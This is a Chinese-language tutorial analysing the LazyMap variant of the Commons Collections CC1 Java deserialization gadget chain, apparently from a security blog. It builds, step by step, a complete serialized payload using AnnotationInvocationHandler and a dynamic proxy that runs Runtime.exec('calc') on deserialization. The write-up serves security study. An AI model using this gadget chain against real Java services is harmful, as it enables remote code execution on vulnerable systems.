CC1鏈的第二種方式-LazyMap版呼叫鏈
目錄
-
LazyMap
-
構造payload
-
CC1的呼叫鏈
-
參考連結
LazyMap
在之前的CC1鏈中分析,其實是其中一種方式(國內版本),還有另外一種方式,也是ysoserial中的CC1鏈的方式(國外版本)。
區別在於呼叫transform的類是不同的。
在尋找transform呼叫的時候,當時使用的是TransformedMap中的checkSetValue()方法。
其實在LazyMap的get()方法也滿足需求,也能到達readObject()。
具體方法如下:
其中比較重要的程式碼是
Object value = factory.transform(key);
也就是我們如果能控制factory
的值為ChainedTransformer
,就可以實現命令執行。
factory
的賦值語句在LazpMap
的建構函式內部。
那又是誰呼叫了LazyMap的get()方法呢?
這裡非常的不好找,因為呼叫太多了(找到的師傅牛~)。
在AnnotationInvocationHandler
類的invoke()方法中有呼叫:
而這個AnnotationInvocationHandler
類是一個動態代理類,特點之一就是呼叫該類的任意方法,都會呼叫器invoke()
方法。
所以如果呼叫AnnotationInvocationHandler
類的readObject()
方法,該類的invoke()
方法也會觸發。
因此,整個的呼叫鏈也就出來了:
sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
構造payload
從LazyMap的get()方法中可以看到,透過factory.transform(key)
方式呼叫了transform()
所以根據CC1鏈的第一條,只需要控制factory
為chainedTransformer
即可。
而factory
是在LazyMap的建構函式中賦值:
而此建構函式不能直接呼叫,但是可以透過decorate()
方法獲取到:
則可以得到如下不完整的payload:
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
// 透過decorate()方法獲取到LazyMap物件,並將ChainedTransformer傳入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
其中呼叫lazyMap的get()方法,則會觸發惡意程式碼,測試一下:
// 呼叫lazyMap的get()方法則會呼叫chainedTransformer的transformer()
lazyMap.get("key");
接下來想辦法:如何呼叫到lazyMap的get()方法呢?
前面說在AnnotationInvocationHandler
類的invoke()
方法中有呼叫get()方法:
而這裡的呼叫,是透過memberValues
來進行呼叫,我們需要保證memberValues
是lazyMap
,這樣的話,執行該invoke()
方法時才會呼叫到lazyMap
的get()
方法。
而memberValues
是透過AnnotationInvocationHandler
的建構函式傳入:
而AnnotationInvocationHandler
類不能例項化,需要藉助反射,相關程式碼如下:
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler類實現自InvocationHandler介面
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap); // 注意這裡傳入lazpMap,給memberValues賦值
那如何呼叫InvocationHandler ih
物件的invoke()
方法呢?
這裡可以看到AnnotationInvocationHandler
類實現自InvocationHandler
介面,也就是說AnnotationInvocationHandler
類是一個動態代理的處理器類。
那麼,想呼叫InvocationHandler ih
物件的invoke()
方法,只需要呼叫被代理物件的任意方法,則可以呼叫ih
物件的invoke()
。這裡需要注意:直接呼叫被代理物件的任意方法不行,需要藉助動態代理才可以呼叫到invoke()
,也就是說需要建立動態代理。
建立動態代理程式碼如下:
- 這裡的動態代理物件,用來代理
LazyMap
實現的介面,處理器物件為ih
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih); // 將InvocationHandler ih傳入
這樣只需要呼叫LazyMap
物件的任意方法,就會呼叫ih
物件的invoke()
。
注意這裡雖然呼叫任意方法,可以呼叫ih
物件的invoke()
,但是還得保證,呼叫invoke()
方法之後,能執行到Object result = memberValues.get(member);
,這樣才能執行我們想要的lazyMap
的get()
方法。
我們可以看到:執行invoke方法之後,有一些條件需要繞過一下,否則就直接返回了,無法執行到memberValues.get(member)
總結下來就是:動態代理的執行方法(即被代理物件lazyMap的任意方法)不能是equals\toString\hashCode\annotationType方法,且不能存在引數。
那麼,被代理物件lazyMap可執行的方法(看代理的介面Map的方法)還有下面幾個:
測試一下是否可以執行惡意程式碼:
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), ih);
mapProxy.clear();
接下來,尋找誰呼叫了mapProxy
(被代理物件)的size()/isEmpty()/clear()/keySet()/values()/entrySet()
方法。
其實這裡(在CC1鏈的第一條中也用過)剛好AnnotationInvocationHandler
的readObject
方法中存在 map物件的entrySet()
無參方法呼叫:
其中我們需要保證memberValues
變數為mapProxy
(被代理物件)即可,而且這裡是在readObject
方法中,直接一步到位。
這裡怎麼辦呢?
同樣的,透過反射建立AnnotationInvocationHandler
物件,並將mapProxy
(被代理物件)傳入,給memberValues
變數賦值即可:
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);
而這裡的前面三行已經有了,所以此時的payload可以合併為:
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
// 透過decorate()方法獲取到LazyMap物件,並將ChainedTransformer傳入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap); // 注意這裡傳入lazpMap,給memberValues賦值
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih); // 將InvocationHandler ih傳入
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);
得到了一個物件obj
,對其序列化,反序列時會自動呼叫器readObject()方法,執行惡意程式碼。
則最終的payload為:
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);
Object obj = declaredConstructor.newInstance(Target.class, mapProxy);
SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
CC1的呼叫鏈
參考連結
Java安全 CC鏈1分析(Lazymap類)_cc1鏈使用的lazymap類-CSDN部落格